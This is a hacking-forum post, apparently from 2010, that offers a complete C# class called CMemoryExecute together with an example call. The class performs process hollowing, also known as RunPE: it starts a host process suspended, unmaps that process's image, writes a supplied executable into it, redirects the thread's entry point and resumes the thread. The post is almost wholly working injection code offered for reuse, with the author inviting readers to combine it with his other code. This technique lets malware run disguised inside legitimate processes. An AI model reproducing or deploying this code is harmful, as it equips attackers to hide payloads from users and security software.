Fully compatible with 64-bit and 32-bit Windows.
Pro-tip: Use with my other code to maximize results.
Without further ado, "CMemoryExecute.cs":
Code:
using System;
using System.Runtime.InteropServices;
/*
* Title: CMemoryExecute.cs
* Description: Runs an EXE in memory using native WinAPI. Very optimized and tiny.
*
* Developed by: affixiate
* Release date: December 3, 2010
* Released on: http://hackforums.net
* Credits:
* MSDN (http://msdn.microsoft.com)
* NtInternals (http://undocumented.ntinternals.net)
* Pinvoke (http://pinvoke.net)
*
* Comments: If you use this code, I require you to give me credits. Don't be a ripper! ;]
*/
// ReSharper disable InconsistentNaming
public static unsafe class CMemoryExecute
{
/// <summary>
/// Runs an EXE (which is loaded in a byte array) in memory.
/// </summary>
/// <param name="exeBuffer">The EXE buffer.</param>
/// <param name="hostProcess">Full path of the host process to run the buffer in.</param>
/// <param name="optionalArguments">Optional command line arguments.</param>
/// <returns></returns>
public static bool Run(byte[] exeBuffer, string hostProcess, string optionalArguments = "")
{
var IMAGE_SECTION_HEADER = new byte[0x28]; // pish
var IMAGE_NT_HEADERS = new byte[0xf8]; // pinh
var IMAGE_DOS_HEADER = new byte[0x40]; // pidh
var PROCESS_INFO = new int[0x4]; // pi
var CONTEXT = new byte[0x2cc]; // ctx
byte* pish;
fixed (byte* p = &IMAGE_SECTION_HEADER[0])
pish = p;
byte* pinh;
fixed (byte* p = &IMAGE_NT_HEADERS[0])
pinh = p;
byte* pidh;
fixed (byte* p = &IMAGE_DOS_HEADER[0])
pidh = p;
byte* ctx;
fixed (byte* p = &CONTEXT[0])
ctx = p;
// Set the flag.
*(uint*)(ctx + 0x0 /* ContextFlags */) = CONTEXT_FULL;
// Get the DOS header of the EXE.
Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length);
/* Sanity check: See if we have MZ header. */
if (*(ushort*)(pidh + 0x0 /* e_magic */) != IMAGE_DOS_SIGNATURE)
return false;
var e_lfanew = *(int*)(pidh + 0x3c);
// Get the NT header of the EXE.
Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length);
/* Sanity check: See if we have PE00 header. */
if (*(uint*)(pinh + 0x0 /* Signature */) != IMAGE_NT_SIGNATURE)
return false;
// Run with parameters if necessary.
if (!string.IsNullOrEmpty(optionalArguments))
hostProcess += " " + optionalArguments;
if (!CreateProcess(null, hostProcess, IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, new byte[0x44], PROCESS_INFO))
return false;
var ImageBase = new IntPtr(*(int*) (pinh + 0x34));
NtUnmapViewOfSection((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase);
if (VirtualAllocEx((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, *(uint*)(pinh + 0x50 /* SizeOfImage */), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == IntPtr.Zero)
Run(exeBuffer, hostProcess, optionalArguments); // Memory allocation failed; try again (this can happen in low memory situations)
fixed (byte* p = &exeBuffer[0])
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, ImageBase, (IntPtr)p, *(uint*)(pinh + 84 /* SizeOfHeaders */), IntPtr.Zero);
for (ushort i = 0; i < *(ushort*)(pinh + 0x6 /* NumberOfSections */); i++)
{
Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length);
fixed (byte* p = &exeBuffer[*(uint*)(pish + 0x14 /* PointerToRawData */)])
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)((int)ImageBase + *(uint*)(pish + 0xc /* VirtualAddress */)), (IntPtr)p, *(uint*)(pish + 0x10 /* SizeOfRawData */), IntPtr.Zero);
}
NtGetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
NtWriteVirtualMemory((IntPtr)PROCESS_INFO[0] /* pi.hProcess */, (IntPtr)( *(uint*)(ctx + 0xAC /* ecx */)), ImageBase, 0x4, IntPtr.Zero);
*(uint*) (ctx + 0xB0 /* eax */) = (uint)ImageBase + *(uint*) (pinh + 0x28 /* AddressOfEntryPoint */);
NtSetContextThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, (IntPtr)ctx);
NtResumeThread((IntPtr)PROCESS_INFO[1] /* pi.hThread */, IntPtr.Zero);
return true;
}
#region WinNT Definitions
private const uint CONTEXT_FULL = 0x10007;
private const int CREATE_SUSPENDED = 0x4;
private const int MEM_COMMIT = 0x1000;
private const int MEM_RESERVE = 0x2000;
private const int PAGE_EXECUTE_READWRITE = 0x40;
private const ushort IMAGE_DOS_SIGNATURE = 0x5A4D; // MZ
private const uint IMAGE_NT_SIGNATURE = 0x00004550; // PE00
#region WinAPI
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, byte[] lpStartupInfo, int[] lpProcessInfo);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, IntPtr lpNumberOfBytesWritten);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtGetContextThread(IntPtr hThread, IntPtr lpContext);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtSetContextThread(IntPtr hThread, IntPtr lpContext);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtResumeThread(IntPtr hThread, IntPtr SuspendCount);
#endregion
#endregion
}
Example usage:
Code:
CMemoryExecute.Run(File.ReadAllBytes(@"C:\run_me_in_memory.exe"), @"C:\inject_into_me.exe", @"(Optional) Command Line Parameters To Be Passed To C:\run_me_in_memory.exe");
If you use this code, it would be most excellent if you could maintain the credits. I'm not asking for cash or beer. This is the least you can do for such high quality work, no? ;)
Don't be a ripper.
/affixiate
P.S. All constructive criticism as well as questions and general comments are welcome.